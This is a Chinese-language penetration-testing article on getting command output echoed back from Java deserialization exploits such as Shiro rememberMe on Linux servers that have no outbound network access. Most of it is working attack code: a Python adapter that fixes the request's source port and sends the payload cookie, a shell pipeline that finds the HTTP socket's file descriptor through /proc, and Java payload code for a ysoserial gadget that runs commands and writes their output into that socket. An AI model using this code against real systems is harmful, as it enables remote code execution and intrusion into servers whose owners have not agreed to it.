linux下java反序列化通杀回显方法的低配版实现
字数 925 2025-08-22 12:23:36

Linux下Java反序列化通杀回显方法的低配版实现

技术背景

Java反序列化漏洞(如Shiro反序列化)在实际渗透测试中非常实用,主要因为:

  • payload原生加密(无特征)
  • 危害大(属于Java反序列化漏洞)
  • 项目中较常见

但存在两个主要痛点:

  1. 可用的gadget链
  2. 带内回显问题(不出网时的回显)

技术原理

核心思路

通过Java反序列化执行代码获取本次HTTP请求使用的socket文件描述符,然后直接在该文件描述符中写入回显内容。

关键技术点

  1. socket文件描述符与inode关系

    • Linux系统中每个socket都有一个唯一的inode号
    • inode号出现在/proc/net/tcp文件中
    • 每个inode对应一条TCP连接信息,其中包含远程连接的IP和端口
  2. 实现流程

    • 通过指定客户端请求的源端口号
    • /proc/net/tcp中匹配该端口获取inode
    • 通过inode在/proc/[pid]/fd目录下找到对应的文件描述符
    • 使用Java代码打开该文件描述符并写入回显内容

详细实现

1. 指定请求源端口

使用Python的requests库自定义源端口:

class SourcePortAdapter(HTTPAdapter):
    """Transport adapter that allows us to set the source port"""
    def __init__(self, port, *args, **kwargs):
        self._source_port = port
        super(SourcePortAdapter, self).__init__(*args, **kwargs)

    def init_poolmanager(self, connections, maxsize, block=False):
        self.poolmanager = PoolManager(
            num_pools=connections, maxsize=maxsize,
            block=block, source_address=('', self._source_port))

# 使用示例
s = requests.Session()
s.mount(target, SourcePortAdapter(randNum))
resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)

2. 获取socket文件描述符

使用Linux命令组合获取文件描述符:

a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;
b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;
echo -n $b

3. Java代码实现

假设使用TemplatesImpl作为gadget末端,修改ysoserial中的命令执行部分:

// 获取文件描述符
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;

while ((line = br.readLine()) != null){
    stringBuilder.append(line);
}

int num = Integer.valueOf(stringBuilder.toString()).intValue();

// 执行命令并获取结果
cmd = new String[]{"/bin/sh","-c","ifconfig"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();

while ((line = br.readLine()) != null){
    stringBuilder.append(line);
}

String ret = stringBuilder.toString();

// 写入文件描述符
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();

技术限制

  1. 必须控制请求源端口

    • 无法在BurpSuite中使用(代理端口不可控)
    • 如果目标在反向代理后,源端口不可预测
  2. 连接会立即断开

    • 回显后服务端会直接断开连接
    • HTTP响应包不会返回,导致requests库报错

改进方向

  1. 高级版实现思路

    • 通过JVM堆内存直接获取socket对象
    • 不需要依赖客户端源端口作为过滤条件
  2. 可能的实现方式

    • 利用JVM内部机制获取当前请求的socket对象
    • 使用更底层的方法访问网络连接

总结

这种低配版实现虽然有一定限制,但为Java反序列化回显问题提供了一个可行的解决方案。在实际内网环境中,当目标不出网时,这种方法可以作为应急方案使用。对于更通用的解决方案,需要深入研究JVM内部机制和Linux网络栈实现。

Linux下Java反序列化通杀回显方法的低配版实现 技术背景 Java反序列化漏洞(如Shiro反序列化)在实际渗透测试中非常实用,主要因为: payload原生加密(无特征) 危害大(属于Java反序列化漏洞) 项目中较常见 但存在两个主要痛点: 可用的gadget链 带内回显问题(不出网时的回显) 技术原理 核心思路 通过Java反序列化执行代码获取本次HTTP请求使用的socket文件描述符,然后直接在该文件描述符中写入回显内容。 关键技术点 socket文件描述符与inode关系 : Linux系统中每个socket都有一个唯一的inode号 inode号出现在 /proc/net/tcp 文件中 每个inode对应一条TCP连接信息,其中包含远程连接的IP和端口 实现流程 : 通过指定客户端请求的源端口号 在 /proc/net/tcp 中匹配该端口获取inode 通过inode在 /proc/[pid]/fd 目录下找到对应的文件描述符 使用Java代码打开该文件描述符并写入回显内容 详细实现 1. 指定请求源端口 使用Python的requests库自定义源端口: 2. 获取socket文件描述符 使用Linux命令组合获取文件描述符: 3. Java代码实现 假设使用TemplatesImpl作为gadget末端,修改ysoserial中的命令执行部分: 技术限制 必须控制请求源端口 : 无法在BurpSuite中使用(代理端口不可控) 如果目标在反向代理后,源端口不可预测 连接会立即断开 : 回显后服务端会直接断开连接 HTTP响应包不会返回,导致requests库报错 改进方向 高级版实现思路 : 通过JVM堆内存直接获取socket对象 不需要依赖客户端源端口作为过滤条件 可能的实现方式 : 利用JVM内部机制获取当前请求的socket对象 使用更底层的方法访问网络连接 总结 这种低配版实现虽然有一定限制,但为Java反序列化回显问题提供了一个可行的解决方案。在实际内网环境中,当目标不出网时,这种方法可以作为应急方案使用。对于更通用的解决方案,需要深入研究JVM内部机制和Linux网络栈实现。